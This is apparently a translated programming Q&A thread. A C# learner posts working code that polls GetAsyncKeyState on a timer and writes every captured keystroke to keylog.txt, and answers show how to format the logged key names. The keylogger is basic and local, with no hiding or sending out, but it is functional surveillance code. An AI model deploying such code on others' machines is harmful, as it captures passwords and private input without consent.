C# 格式化击键
我是新来的,还在学习C语言# 我有一个简单的代码(我从一个网站上获得),它捕获击键并将其保存在一个文件中:C# 格式化击键,c#,keystroke,formatted,C#,Keystroke,Formatted,我是新来的,还在学习C语言# 我有一个简单的代码(我从一个网站上获得),它捕获击键并将其保存在一个文件中: [DllImport("user32.dll")] private static extern short GetAsyncKeyState(int vKey); public Form1() { InitializeComponent(); timer1.Tick += new EventHandler(timer1_Tick); timer1.Start();
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
public Form1()
{
InitializeComponent();
timer1.Tick += new EventHandler(timer1_Tick);
timer1.Start();
}
string text = "";
void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
text += buffer;
if (text.Length > 10)
{
WriteToText(text);
text = "";
}
}
private void WriteToText(string value)
{
StreamWriter stream = new StreamWriter("keylog.txt",true);
stream.Write(value);
stream.Close();
}
但是,它可以工作,keylog.txt
中的文本如下所示:
d1d2d3d4d5d6lbuttonrbuttonspaceasd0emcomma0emperiodsemicolon
etc.但我想要的就是这样(格式化或安排):
123456[左键单击][右键单击]ASD代码>
我怎么能那样做?我应该添加什么代码?您可以添加另一个函数来重命名所有键:
string RenameKey(string keyName)
{
switch(keyName)
{
case "LClick":
return "[LeftClick]";
break;
case "RClick":
return "[RightClick]";
break;
default:
return keyName;
}
}
或者像我一样懒惰:
string RenameKey(string keyName)
{
if(keyName.Length > 1) return "[" + keyName + "]";
return keyName;
}
只需更改顶部的方法即可使用此功能:
void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
buffer += RenameKey(Enum.GetName(typeof(Keys), i));
}
text += buffer;
if (text.Length > 10)
{
WriteToText(text);
text = "";
}
}
这句话是这样说的:
buffer += RenameKey(Enum.GetName(typeof(Keys), i));
您不能编写一个keylog解析器方法,在保存文件之前,它将拾取ButtonR等内容并替换为[RightClick]等吗?如何使用ShiftKeyLShiftKey
(与控制键相同)?Shift+G输出:SHIFTKEYLSSHIFTKEYG-->如果使用“惰性功能”,则它已将SHIFTKEYLSSHIFTKEY
更改为[SHIFTKEYLSSHIFTKEY]
。您希望完成什么?您需要跟踪KeyUp和KeyDown事件。我建议首先学习更多关于C的知识。我可以帮助你朝着正确的方向前进,但我不会为你编写代码。祝你好运:)